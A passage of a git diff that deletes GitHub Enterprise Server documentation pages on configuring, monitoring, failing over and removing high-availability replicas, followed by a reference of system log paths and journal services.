to user traffic. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer). - -{% data reusables.enterprise_installation.monitoring-replicas %} - -## Utilities for replication management - -People with administrative SSH access to an instance in a high-availability configuration can use command-line utilities to manage replication. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#high-availability). - -## Further reading - -* [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica) -* [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/creating-a-high-availability-replica.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/creating-a-high-availability-replica.md deleted file mode 100644 index 244869611d0c..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/creating-a-high-availability-replica.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Creating a high availability replica -intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' -redirect_from: - - /enterprise/admin/installation/creating-a-high-availability-replica - - /enterprise/admin/enterprise-management/creating-a-high-availability-replica - - /admin/enterprise-management/creating-a-high-availability-replica - - /admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/creating-a-high-availability-replica -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - High availability - - Infrastructure -shortTitle: Create HA replica ---- -{% data reusables.enterprise_installation.replica-limit %} - -## Creating a high availability replica - -1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). -1. Ensure that the new appliance can communicate with all other appliances in this high availability environment over ports 122/TCP and 1194/UDP. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports). -1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. -{% data reusables.enterprise_installation.replica-steps %} -1. Connect to the replica appliance's IP address using SSH. - - ```shell - ssh -p 122 admin@REPLICA_IP - ``` - -{% data reusables.enterprise_installation.generate-replication-key-pair %} -{% data reusables.enterprise_installation.add-ssh-key-to-primary %} -1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. - - ```shell - ghe-repl-setup PRIMARY_IP - ``` - -{% data reusables.enterprise_installation.replication-command %} -{% data reusables.enterprise_installation.verify-replication-channel %} - -## Creating geo-replication replicas - -This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports). - -{% data reusables.enterprise_clustering.network-latency %} If latency is more than 70 milliseconds, we recommend cache replica nodes instead. For more information, see [AUTOTITLE](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache). - -1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. - - ```shell - (replica1)$ ghe-repl-setup PRIMARY_IP - (replica1)$ ghe-repl-start - ``` - -1. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. - - ```shell - (replica2)$ ghe-repl-setup --add PRIMARY_IP - (replica2)$ ghe-repl-start - ``` - -1. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. - - On the primary: - - ```shell - (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] - ``` - - On the first replica: - - ```shell - (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] - ``` - - On the second replica: - - ```shell - (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] - ``` - - > [!TIP] - > You can set the `--datacenter` and `--active` options at the same time. - -1. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. - - On the first replica: - - ```shell - (replica1)$ ghe-repl-node --active - ``` - - On the second replica: - - ```shell - (replica2)$ ghe-repl-node --active - ``` - -1. To apply the configuration, use the `ghe-config-apply` command on the primary. - - ```shell - (primary)$ ghe-config-apply - ``` - -## Configuring DNS for geo-replication - -Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. - -For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. - -```text -# <primary IP> HOSTNAME -# <replica1 IP> HOSTNAME -<replica2 IP> HOSTNAME -``` - -## Further reading - -* [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration) -* [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-geo-replication) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/index.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/index.md deleted file mode 100644 index c3910a80fe4e..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Configuring high availability -redirect_from: - - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability - - /enterprise/admin/guides/installation/high-availability-cluster-configuration - - /enterprise/admin/guides/installation/high-availability-configuration - - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability - - /enterprise/admin/enterprise-management/configuring-high-availability - - /admin/enterprise-management/configuring-high-availability - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability -intro: '{% data variables.product.prodname_ghe_server %} supports a high availability mode of operation designed to minimize service disruption in the event of hardware failure or major network outage affecting the primary appliance.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-high-availability-configuration - - /creating-a-high-availability-replica - - /monitoring-a-high-availability-configuration - - /initiating-a-failover-to-your-replica-appliance - - /recovering-a-high-availability-configuration - - /removing-a-high-availability-replica - - /about-geo-replication -shortTitle: Configure high availability ---- - diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md deleted file mode 100644 index 512b9a9660ef..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Initiating a failover to your replica appliance -intro: 'You can failover to a {% data variables.product.prodname_ghe_server %} replica appliance using the command line for maintenance and testing, or if the primary appliance fails.' -redirect_from: - - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance - - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance - - /admin/enterprise-management/initiating-a-failover-to-your-replica-appliance - - /admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/initiating-a-failover-to-your-replica-appliance -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - High availability - - Infrastructure -shortTitle: Initiate failover to appliance ---- -The time required to failover depends on how long it takes to manually promote the replica and redirect traffic. The average time ranges between 20-30 minutes. - -{% data reusables.enterprise_installation.promoting-a-replica %} - -1. If the primary appliance is available, to allow replication to finish before you switch appliances, on the primary appliance, put the primary appliance into maintenance mode. - - * Put the appliance into maintenance mode. - - * To use the management console, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode) - - * You can also use the `ghe-maintenance -s` command. - - ```shell - ghe-maintenance -s - ``` - - * When the number of active Git operations, MySQL queries, and Resque jobs reaches zero, wait 30 seconds. - - > [!NOTE] - > Nomad will always have jobs running, even in maintenance mode, so you can safely ignore these jobs. - - * To verify all replication channels report `OK`, use the `ghe-repl-status -vv` command. - - ```shell - ghe-repl-status -vv - ``` - -1. Enable maintenance mode on all active replica appliances. For more information, see [AUTOTITLE](/admin/administering-your-instance/enabling-and-scheduling-maintenance-mode). - -1. On the replica appliance you'd like to fail over to, to stop replication and promote the replica appliance to primary status, use the `ghe-repl-promote` command. - - ```shell - ghe-repl-promote - ``` - - > [!NOTE] - > If the primary node is unavailable, warnings and timeouts may occur but can be ignored. - -1. Update the DNS record to point to the IP address of the replica. Traffic is directed to the replica after the TTL period elapses. If you are using a load balancer, ensure it is configured to send traffic to the replica. -1. Notify users that they can resume normal operations. -1. If desired, set up replication from the new primary to existing appliances and the previous primary. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#utilities-for-replication-management). -1. Appliances you do not intend to setup replication to that were part of the high availability configuration prior the failover, need to be removed from the high availability configuration by UUID. - * On the former appliances, get their UUID via `cat /data/user/common/uuid`. - - ```shell - cat /data/user/common/uuid - ``` - - * On the new primary, remove the UUIDs using `ghe-repl-teardown`. Please replace `UUID` with a UUID you retrieved in the previous step. - - ```shell - ghe-repl-teardown -u UUID - ``` - -## Further reading - -* [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#utilities-for-replication-management) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/monitoring-a-high-availability-configuration.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/monitoring-a-high-availability-configuration.md deleted file mode 100644 index 685f4c0f441e..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/monitoring-a-high-availability-configuration.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Monitoring a high-availability configuration -intro: 'After configuration of high availability for {% data variables.location.product_location %}, you can monitor the status of data replication among to your instance''s replica nodes.' -versions: - ghes: '*' -permissions: 'Site administrators can monitor a high-availability configuration for a {% data variables.product.prodname_ghe_server %} instance.' -type: how_to -topics: - - Enterprise - - High availability - - Infrastructure - - Monitoring -shortTitle: Monitor HA configuration -redirect_from: - - /admin/enterprise-management/configuring-high-availability/monitoring-a-high-availability-configuration - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/monitoring-a-high-availability-configuration ---- - -## About observability for high availability - -{% data reusables.enterprise.about-ha %} For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration). - -After you configure high availability, you can proactively ensure redundancy by monitoring the overall health of replication and the status of each of your instance's replica nodes. You can use command-line utilities on the instance, an overview dashboard, the instance's REST API, or a remote monitoring system such as Nagios. - -With high availability, your instance uses several approaches to replicate data between primary and replica nodes. Database services that support a native replication mechanism, such as MySQL, replicate using the service's native mechanism. Other services, such as Git repositories, replicate using a custom mechanism developed for {% data variables.product.prodname_ghe_server %}, or using platform tools like rsync. - -## Monitoring replication from your instance - -To monitor the replication status of an existing replica node for {% data variables.location.product_location %}, connect to the node's administrative console (SSH) and run the `ghe-repl-status` command-line utility. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repl-status). - -You can also monitor replication status from the overview dashboard on your instance. In a browser, navigate to the following URL, replacing HOSTNAME with your instance's hostname. - -`http(s)://HOSTNAME/setup/replication` - -{% ifversion ghes-manage-api-cli-extension %} - -## Monitoring replication using the {% data variables.product.prodname_cli %} - -You can monitor replication status on your instance using the `gh es` extension for {% data variables.product.prodname_cli %}. For more information, see the [GH ES CLI usage documentation](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-replication-status) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli). - -{% endif %} - -## Monitoring replication using the REST API - -You can monitor replication status on your instance using the REST API. For more information, see [Manage {% data variables.product.prodname_ghe_server %}](/rest/enterprise-admin/manage-ghes#list-the-status-of-services-running-on-all-replica-nodes) in the REST API documentation. - -## Monitoring replication from a remote system - -Output from the `ghe-repl-status` command-line utility conforms to the expectations of Nagios' check_by_ssh plugin. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repl-status). - -Additionally, you can monitor the availability of your instance by parsing the status code returned by a request to the following URL. For example, if you deploy a load balancer as part of your failover strategy, you can configure health checks that parse this output. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#configuring-health-checks). - -Depending on where and how you configure monitoring, replace HOST with either your instance's hostname or an individual node's IP address. - -`http(s)://HOST/status` - -An active node for geo-replication, which can respond to user requests, will return status code `200` (OK). Requests to individual nodes or the instance's hostname may return a `503` (Service Unavailable) error for the following reasons. - -* The individual node is a passive replica node, such as the replica node in a two-node high-availability configuration. -* The individual node is part of a geo-replication configuration, but is a passive replica node. -* The instance is in maintenance mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). - -For more information about geo-replication, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-geo-replication). - -## Troubleshooting replication issues - -To troubleshoot replication issues on your instance, ensure replication is running and that nodes can communicate with each other over the network. You can also use command-line utilities to investigate under-replication. - -### Replication is not running - -You must start replication on each node using the `ghe-repl-start` command-line utility. If replication is not running, connect to the affected node using SSH, then run `ghe-repl-start`. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repl-start). - -### Communication issues between nodes - -Replication requires that the primary node and all replica nodes can communicate with each other over the network. At minimum, ensure that ports 122/TCP and 1194/UDP are open for bidirectional communication between all of your instance's nodes. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports). - -{% data reusables.enterprise_clustering.network-latency %} You can use `ping` or another network administration utility to test the network connectivity between nodes. - -### Under-replication - -If you run the `ghe-repl-status` command-line utility on a replica node and Git repositories, repository networks, or storage objects are under-replicated, one or more replica nodes are not fully synchronized with the primary node. Under-replication may occur if the primary node is unable to communicate with the replica nodes, or if the replica nodes are unable to communicate with the primary node. - -If you've recently configured high availability or geo-replication, the initial sync will take some time. The duration of the initial sync depends on how much data exists and network conditions. - -* [Under-replicated repositories or repository networks](#under-replicated-repositories-or-repository-networks) -* [Under-replicated storage objects](#under-replicated-storage-objects) - -#### Under-replicated repositories or repository networks - -You can view a specific repository's replication status by connecting to a node and running the following commands, replacing OWNER with the repository's owner and REPOSITORY with the repository's name. - -```text -ghe-spokesctl check OWNER/REPOSITORY -ghe-spokesctl info OWNER/REPOSITORY -``` - -Alternatively, if you want to view a repository network's replication status, replace NETWORK-ID/REPOSITORY-ID with the network ID and repository ID number. - -```text -ghe-spokesctl check NETWORK-ID/REPOSITORY-ID -ghe-spokesctl info NETWORK-ID/REPOSITORY-ID -``` - -#### Under-replicated storage objects - -You can view a specific storage object's status by connecting to a node and running the following command, replacing OID with the object's ID. - -```shell -ghe-storage info OID -``` - -### Getting support from {% data variables.product.company_short %} - -If you review the troubleshooting advice for replication and continue to experience issues on your instance, collect the following information, then contact us by visiting {% data variables.contact.contact_ent_support %}. - -* On each affected node, run `ghe-repl-status -vv`, then copy the output to your ticket. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repl-status). -* On each affected node, create a support bundle to attach to your ticket. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles). diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/recovering-a-high-availability-configuration.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/recovering-a-high-availability-configuration.md deleted file mode 100644 index 056ffcc83ce1..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/recovering-a-high-availability-configuration.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Recovering a high availability configuration -intro: 'After failing over to a {% data variables.product.prodname_ghe_server %} appliance, you should regain redundancy as soon as possible rather than rely on a single appliance.' -redirect_from: - - /enterprise/admin/installation/recovering-a-high-availability-configuration - - /enterprise/admin/enterprise-management/recovering-a-high-availability-configuration - - /admin/enterprise-management/recovering-a-high-availability-configuration - - /admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/recovering-a-high-availability-configuration -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - High availability - - Infrastructure -shortTitle: Recover a HA configuration ---- - -## About recovery for a high availability configuration - -You can use the former primary appliance as the new replica appliance if the failover was planned or was not related to the health of the appliance. If the failover was related to an issue with the primary appliance, you may prefer to create a new replica appliance. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica). - -> [!WARNING] -> You must enable maintenance mode before configuring a former primary appliance as a new replica. If you do not enable maintenance mode, you will cause a production outage. - -## Configuring a former primary appliance as a new replica - -1. Connect to the former primary appliance's IP address using SSH. - - ```shell - ssh -p 122 admin@ FORMER_PRIMARY_IP - ``` - -1. Enable maintenance mode on the former primary appliance. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). -1. On the former primary appliance, run `ghe-repl-setup` with the IP address of the former replica. You may need to use the `--force` option to replace the existing configuration. - - ```shell - ghe-repl-setup --force FORMER_REPLICA_IP - ``` - -{% data reusables.enterprise_installation.add-ssh-key-to-primary %} -1. To verify the connection to the new primary and enable replica mode for the new replica, run `ghe-repl-setup` again. - - ```shell - ghe-repl-setup FORMER_REPLICA_IP - ``` - -{% data reusables.enterprise_installation.replication-command %} diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/removing-a-high-availability-replica.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/removing-a-high-availability-replica.md deleted file mode 100644 index 8021f19b1a1c..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/removing-a-high-availability-replica.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Removing a high availability replica -intro: 'You can stop replication to a {% data variables.product.prodname_ghe_server %} replica temporarily, or permanently remove replication.' -redirect_from: - - /enterprise/admin/installation/removing-a-high-availability-replica - - /enterprise/admin/enterprise-management/removing-a-high-availability-replica - - /admin/enterprise-management/removing-a-high-availability-replica - - /admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/removing-a-high-availability-replica -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - High availability - - Enterprise - - Infrastructure -shortTitle: Remove a HA replica ---- -## Stopping replication temporarily - -1. If necessary, stop a geo-replication replica from serving user traffic by removing the Geo DNS entries for the replica. -1. On the replica where you wish to temporarily stop replication, run ghe-repl-stop. - - ```shell - ghe-repl-stop - ``` - -1. To start replication again, run `ghe-repl-start`. - - ```shell - ghe-repl-start - ``` - -## Removing replication permanently - -1. If necessary, stop a geo-replication replica from serving user traffic by removing the Geo DNS entries for the replica. -1. On the replica you wish to remove replication from, run `ghe-repl-stop`. - - ```shell - ghe-repl-stop - ``` - -1. On the replica, to tear down the replication state, run `ghe-repl-teardown`. - - ```shell - ghe-repl-teardown - ``` - - > [!NOTE] - > If you have {% data variables.product.prodname_actions %} enabled, you should decommission the former replica server or update its {% data variables.product.prodname_actions %} configuration to use different external storage. For more information, see [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions#high-availability-replicas). diff --git a/content/admin/monitoring-and-managing-your-instance/index.md b/content/admin/monitoring-and-managing-your-instance/index.md deleted file mode 100644 index 0bafdd26d4b8..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: 'Monitoring and managing your instance' -intro: 'You can monitor your instance, update your virtual machine resources, and configure clustering or high availability, and repository caching.' -redirect_from: - - /enterprise/admin/enterprise-management - - /admin/enterprise-management - - /admin/monitoring-managing-and-updating-your-instance -versions: - ghes: '*' -topics: - - Enterprise -children: - - /monitoring-your-instance - - /updating-the-virtual-machine-and-physical-resources - - /configuring-clustering - - /configuring-high-availability - - /caching-repositories -shortTitle: 'Monitor and manage your instance' ---- diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs.md deleted file mode 100644 index 5a37c71a8317..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: About system logs -intro: 'To help administrators understand activity and errors, {% data variables.product.prodname_ghe_server %} stores system logs.' -versions: - ghes: '*' -type: overview -topics: - - Auditing - - Enterprise - - Logging - - Security -redirect_from: - - /admin/enterprise-management/monitoring-your-appliance/about-system-logs - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/about-system-logs - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/about-system-logs ---- - -## About system logs for {% data variables.product.prodname_ghe_server %} - -To trace, review, and troubleshoot activity and exceptions on {% data variables.location.product_location %}, you can review system logs. Your instance stores the following two types of system logs. - -* Plain text log files on disk, stored by syslog or specific services -* Binary log files, stored by journald - -By default, {% data variables.product.prodname_ghe_server %} rotates system logs automatically every 24 hours and retains rotated logs for seven days. System logs include system-level events, application logs, and data about Git events. Because log files are written often and can be large in size, you may prefer to extract and parse log entries on a host separate from {% data variables.location.product_location %}. - -People with administrative SSH access to a {% data variables.product.prodname_ghe_server %} instance can access and read system logs. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -You can forward system logs and audit logs to an external system for analysis or longer retention. For more information see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -In addition to reviewing your system logs, you can monitor activity on your instance in other ways. For example, you can review audit logs and push logs, or configure global webhooks. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise). - -> [!NOTE] -> The following lists of logs are not intended to be comprehensive. - -## System log files - -{% data variables.product.prodname_ghe_server %} writes several categories of system logs to the instance's disk in plain text. People with administrative SSH access to the instance can parse these files using Linux command-line tools such as `cat`, `tail`, `head`, `less`, and `more`. - -* [Log files for databases](#log-files-for-databases) -* [Log files for the {% data variables.product.prodname_dotcom %} application](#log-files-for-the-github-application) -* [Log files for the HTTP server](#log-files-for-the-http-server) -* [Log files for the {% data variables.enterprise.management_console %}](#log-files-for-the-management-console) -* [Log files for instance configuration](#log-files-for-instance-configuration) -* [Log files for search](#log-files-for-search) -* [Log files for system services](#log-files-for-system-services) - -### Log files for databases - -The following log files record events from database services on your instance. - -| Path | Description | -| :- | :- | -| <pre>/var/log/mysql/mysql.log</pre> | Records events related to the instance's MySQL database. | -| <pre>/var/log/mysql/mysql.err</pre> | Records errors related to the instance's MySQL database. | -| <pre>/data/user/mssql/log/errorlog</pre> | Records errors related to the instance's MSSQL database. See [Journal logs for databases](#journal-logs-for-databases) later in this article for other events. | - -### Log files for the {% data variables.product.prodname_dotcom %} application - -The following log files record events from the {% data variables.product.prodname_dotcom %} application on your instance. - -| Path | Description | -| :- | :- | -| <pre>/var/log/github/audit.log</pre> | Records user, repository, and system events for activity in the {% data variables.product.prodname_dotcom %} application on your instance. You can filter entries in the log using the `github_audit` keyword. | -| <pre>/var/log/github/exceptions.log</pre> | Records exceptions that the {% data variables.product.prodname_dotcom %} application encounters. | -| <pre>/var/log/github/gitauth.log</pre> | Records Git authentication requests using HTTPS or SSH. The `babeld` service processes all Git authentication requests and activity. | -| <pre>/var/log/github/production.log</pre> | Records internal events for the {% data variables.product.prodname_dotcom %} application. For requests to the website, includes the controller action that responded. May contain entries with different structures, depending on the origin of the job or request. | - -### Log files for the HTTP server - -The following log files record events from the instance's HTTP server. - -| Path | Description | -| :- | :- | -| <pre>/var/log/nginx/error.log*</pre> | Records errors for web requests. | -| <pre>/var/log/nginx/gist.log</pre> | Records HTTP requests related to gists. For more information, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists). | -| <pre>/var/log/nginx/gist.error.log</pre> | Records errors related to HTTP requests for gists. | -| <pre>/var/log/nginx/github.log</pre> | Records HTTP requests to the {% data variables.product.prodname_dotcom %} application. | -| <pre>/var/log/nginx/github.error.log</pre> | Records errors associated with HTTP requests. | -| <pre>/var/log/nginx/pages.log</pre> | Records HTTP requests associated with {% data variables.product.prodname_pages %}. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages). | -| <pre>/var/log/nginx/pages.error.log</pre> | Records errors related to HTTP requests for {% data variables.product.prodname_pages %}. | - -### Log files for the {% data variables.enterprise.management_console %} - -The following log files contain events from your instance's {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/about-the-management-console). - -| Path | Description | -| :- | :- | -| <pre>/var/log/enterprise-manage/audit.log</pre> | Records activity in the instance's {% data variables.enterprise.management_console %}. | -| <pre>/var/log/enterprise-manage/unicorn.log</pre> | Records HTTP and HTTPS operations that administrators perform in the {% data variables.enterprise.management_console %} using the web UI or REST API. | - -### Log files for instance configuration - -The following log files contain events related to the configuration of your instance. - -| Path | Description | -| :- | :- | -| <pre>/data/user/common/ghe-config.log</pre> | Records events associated with {% ifversion unique-config-run-logs %}the latest{% else %}each{% endif %} configuration run. If a configuration run fails, output to the log stops. This log also records information about migrations that run during the process of upgrading an instance's software. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-config-apply). | -| {% ifversion unique-config-run-logs %} | -| <pre>/data/user/config-apply/logs/YYYYMMDD/*</pre> | Stores log files for previous configuration runs. The instance stores the files in a directory that reflects the date, and each file name reflects the node and the ID of the run. | -| {% endif %} | - -### Log files for search - -The following log files contain events from services that provide search functionality for your instance. - -| Path | Description | -| :- | :- | -| <pre>/var/log/elasticsearch/github-enterprise.log</pre> | Records events associated with the Elasticsearch service, which your instance uses to provide search services. | - -### Log files for system services - -The following logs contain events from system services on your instance. - -| Path | Description | -| :- | :- | -| <pre>/var/log/coredumps.log</pre> | Records information about system processes that terminate unexpectedly. | -| <pre>/var/log/boot.log</pre> | Records information about the instance's boot process. | -| <pre>/var/log/chrony/</pre> | This directory contains logs related to Network Time Protocol (NTP) synchronization and the instance's system clock. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-time-synchronization). | -| <pre>/var/log/haproxy.log</pre> | Records all web and API requests to the instance. For HTTP connections, entries include the URL that the client requested, as well as the HTTP method for the request. | -| <pre>/var/log/ssh-console-audit.log</pre> | Records commands that administrators run using the administrative shell (SSH). For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). | -| <pre>/var/log/mail-replies/metroplex.log</pre> | Records information about mail that your instance receives. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications). | - -## System logs in the systemd journal - -Several {% data variables.product.prodname_ghe_server %} services, such as the `babeld` service, are containerized. {% data variables.product.prodname_ghe_server %} writes system logs for these services to the systemd journal in a binary format. - -People with administrative SSH access to the instance can parse these logs using the `journalctl` command. For more information, see [journalctl(1)](http://man7.org/linux/man-pages/man1/journalctl.1.html) in the online Linux manual pages. - -To view logs in the systemd journal, run the following command, replacing SERVICE-NAME with a service name from the following list of logs. For view logs of all other containerized services, run `nomad job status` and use the `ID` as the SERVICE-NAME. - -```shell -journalctl -t SERVICE-NAME -``` - -* [Journal logs for the {% data variables.product.prodname_dotcom %} application](#journal-logs-for-the-github-application) -* [Journal logs for Git](#journal-logs-for-git) -* [Journal logs for storage](#journal-logs-for-storage) - -### Journal logs for the {% data variables.product.prodname_dotcom %} application - -The following logs record events from the {% data variables.product.prodname_dotcom %} application on your instance. - -| Service name | Description | -| :- | :- | -| <pre>github-resqued</pre> | Records events related to background jobs. If the job involves built-in or external authentication, this log includes information about the request. <br/><br/> If the instance uses LDAP authentication and LDAP Sync is enabled, events for LDAP Sync appear in this log. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#enabling-ldap-sync). | -| <pre>github-unicorn</pre> | Records HTTP and HTTPS operations that users perform in the instance's web UI or via the APIs. If the operation involves built-in or external authentication, this log includes information about the request. <br/><br/> If debug logging is enabled for LDAP or SAML authentication, the debug-level information for authenticated requests appear in this log. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap) or [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging). | - -### Journal logs for Git - -The following logs contain events related to Git activity on your instance. - -| Service name | Description | -| :- | :- | -| <pre>babeld</pre> | Records events for all Git activity on the instance, including authentication to access the repository. | -| <pre>codeload</pre> | Records events for activity related to the generation or retrieval of code archives for repositories on the instance. | -| <pre>gpgverify</pre> | Records events related to commit signature verification. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). | - -### Journal logs for storage - -The following logs contain events from services that store or retrieve data on your instance. - -| Service name | Description | -| :- | :- | -| <pre>alambic</pre> | Records events related to the storage and retrieval of files, such as {% data variables.large_files.product_name_short %} objects, avatar images, file attachments from comments in the web UI, and release archives. | - -### Journal logs for databases - -The following logs contain events related to database services on your instance. - -| Service name | Description | -| :- | 